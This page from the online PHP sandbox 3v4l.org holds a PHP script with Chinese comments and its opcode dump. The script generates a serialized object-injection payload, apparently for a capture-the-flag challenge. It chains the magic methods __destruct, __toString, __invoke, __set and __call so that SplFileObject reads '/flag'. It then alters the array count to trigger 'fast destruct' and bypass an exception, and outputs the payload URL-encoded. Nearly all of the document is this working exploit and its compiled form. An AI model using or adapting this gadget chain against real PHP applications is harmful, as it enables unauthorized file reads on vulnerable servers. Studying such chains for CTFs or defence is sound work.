3v4l.org

run code in 500+ PHP versions simultaneously
<?php // 定义类结构,用于序列化 class Sun { public $sun; } class Moon { public $nearside; } class Earth { public $onearth; public $inearth; public $outofearth; } class Solar { public $Mercury; public $Venus; public $Mars; public $Jupiter; public $Saturn; } $sun = new Sun(); $moon = new Moon(); $earth = new Earth(); $solarA = new Solar(); // 触发 __set 的对象 $solarB = new Solar(); // 触发 __call 的对象 // 1. 串联链条 $sun->sun = $moon; // Sun::__destruct -> Moon::__tostring $moon->nearside = $earth; // Moon::__tostring -> Earth::__invoke // 2. 核心跳转:Earth -> SolarA::__set $earth->onearth = $solarA; $earth->inearth = "Mars"; // 触发 __set 的 $name $earth->outofearth = "/flag"; // 赋给 $solarA->Mars,即 __call 的参数 $args[0] // 3. 核心爆发:SolarA::__set -> SolarB::__call $solarA->Mercury = $solarB; $solarA->Venus = "SplFileObject"; // 关键!赋给 $func,即 new SplFileObject // 4. 原生类执行:SolarB::__call $solarB->Jupiter = "current"; // SplFileObject 读取内容的方法 $solarB->Saturn = ""; // 方法参数 // 5. 生成绕过 Exception 的 Payload $payload = array($sun); $ser = serialize($payload); // 通过修改数组元素数量,触发 Fast Destruct 绕过 throw new Exception $final_payload = str_replace('a:1:{i:0;', 'a:2:{i:0;', $ser); echo "Final URL Encoded Payload:\n\n"; echo urlencode($final_payload); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/nKif6
function name:  (null)
number of ops:  48
compiled vars:  !0 = $sun, !1 = $moon, !2 = $earth, !3 = $solarA, !4 = $solarB, !5 = $payload, !6 = $ser, !7 = $final_payload
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
    8     0  E >   NEW                                                  $8      'Sun'
          1        DO_FCALL                                          0          
          2        ASSIGN                                                       !0, $8
    9     3        NEW                                                  $11     'Moon'
          4        DO_FCALL                                          0          
          5        ASSIGN                                                       !1, $11
   10     6        NEW                                                  $14     'Earth'
          7        DO_FCALL                                          0          
          8        ASSIGN                                                       !2, $14
   11     9        NEW                                                  $17     'Solar'
         10        DO_FCALL                                          0          
         11        ASSIGN                                                       !3, $17
   12    12        NEW                                                  $20     'Solar'
         13        DO_FCALL                                          0          
         14        ASSIGN                                                       !4, $20
   15    15        ASSIGN_OBJ                                                   !0, 'sun'
         16        OP_DATA                                                      !1
   16    17        ASSIGN_OBJ                                                   !1, 'nearside'
         18        OP_DATA                                                      !2
   19    19        ASSIGN_OBJ                                                   !2, 'onearth'
         20        OP_DATA                                                      !3
   20    21        ASSIGN_OBJ                                                   !2, 'inearth'
         22        OP_DATA                                                      'Mars'
   21    23        ASSIGN_OBJ                                                   !2, 'outofearth'
         24        OP_DATA                                                      '%2Fflag'
   24    25        ASSIGN_OBJ                                                   !3, 'Mercury'
         26        OP_DATA                                                      !4
   25    27        ASSIGN_OBJ                                                   !3, 'Venus'
         28        OP_DATA                                                      'SplFileObject'
   28    29        ASSIGN_OBJ                                                   !4, 'Jupiter'
         30        OP_DATA                                                      'current'
   29    31        ASSIGN_OBJ                                                   !4, 'Saturn'
         32        OP_DATA                                                      ''
   32    33        INIT_ARRAY                                           ~32     !0
         34        ASSIGN                                                       !5, ~32
   33    35        INIT_FCALL                                                   'serialize'
         36        SEND_VAR                                                     !5
         37        DO_ICALL                                             $34     
         38        ASSIGN                                                       !6, $34
   35    39        FRAMELESS_ICALL_3                str_replace         ~36     'a%3A1%3A%7Bi%3A0%3B', 'a%3A2%3A%7Bi%3A0%3B'
         40        OP_DATA                                                      !6
         41        ASSIGN                                                       !7, ~36
   37    42        ECHO                                                         'Final+URL+Encoded+Payload%3A%0A%0A'
   38    43        INIT_FCALL                                                   'urlencode'
         44        SEND_VAR                                                     !7
         45        DO_ICALL                                             $38     
         46        ECHO                                                         $38
   39    47      > RETURN                                                       1

Class Sun: [no user functions]
Class Moon: [no user functions]
Class Earth: [no user functions]
Class Solar: [no user functions]

Generated using Vulcan Logic Dumper, using php 8.5.0


preferences:
164.71 ms | 1361 KiB | 15 Q